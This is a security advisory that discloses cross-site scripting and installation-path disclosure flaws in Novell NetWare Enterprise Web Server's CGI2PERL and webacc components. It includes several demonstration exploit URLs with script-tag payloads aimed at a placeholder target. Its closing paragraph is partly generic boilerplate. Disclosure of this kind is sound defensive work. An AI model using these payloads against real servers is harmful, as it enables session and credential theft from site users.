Category:  Application (Web Server/CGI)  >  NetWare Enterprise Web Server Vendors:  Novell
NetWare Enterprise Server PERL Handler Input Validation Flaw Permits Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1008827
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Jan 23 2004
Impact:  Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  
Description:  Rafel Ivgi (The-Insider) reported an input validation vulnerability in the NetWare Enterprise Server in the CGI2PERL module. A remote user can conduct cross-site scripting attacks.

It is reported that CGI2PERL does not properly filter HTML code from user-supplied input before displaying error messages based on the input. A remote user can create a specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the NetWare Enterprise web server software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

Some demonstration exploit URLs are provided:

http://[target]/perl/\<sCRIPT>alert("d")</sCR IPT>\.pl

http://[target]/perl/<script>alert('XSS')</script>.pl

http://[target]/servlet/webacc?User.id="><script>alert('XSS')</script>

http://[target]/servlet/web acc?User.id=&User.password=&User.context=cwqlNomoqd
Oq&User.interface=frames&error=login&merge=webacc&action=User.Login&GWAP.ver
sion="><script>alert('XSS')</script>


http://[target]/nsn/"<script%20language=vbscript>msgbox%20sadas</script>".bas

It is reported that the server may also disclose the installation path to remote users. A demonstration exploit URL is provided:

http://[target]/perl/\/.pl

Impact:  A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the NetWare web server software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:  No solution was available at the time of this entry.

Cause:  Access control error, Input validation error

Cross Site Scripting and Local Path Disclosure Vulnerabillity:

The Vulnerabillity is Cross Site Scripting type. If an attacker will request
the one of following url from the server

as - Cross Site Scripting Vulnerabillity If all of these circumstances are met, an attacker may be able to exploit this issue via a malicious link containing arbitrary HTML and script code as part of the hostname. When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client. This will occur because the server will echo back the malicious hostname supplied in the client's request, without sufficiently escaping HTML and script code. Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.
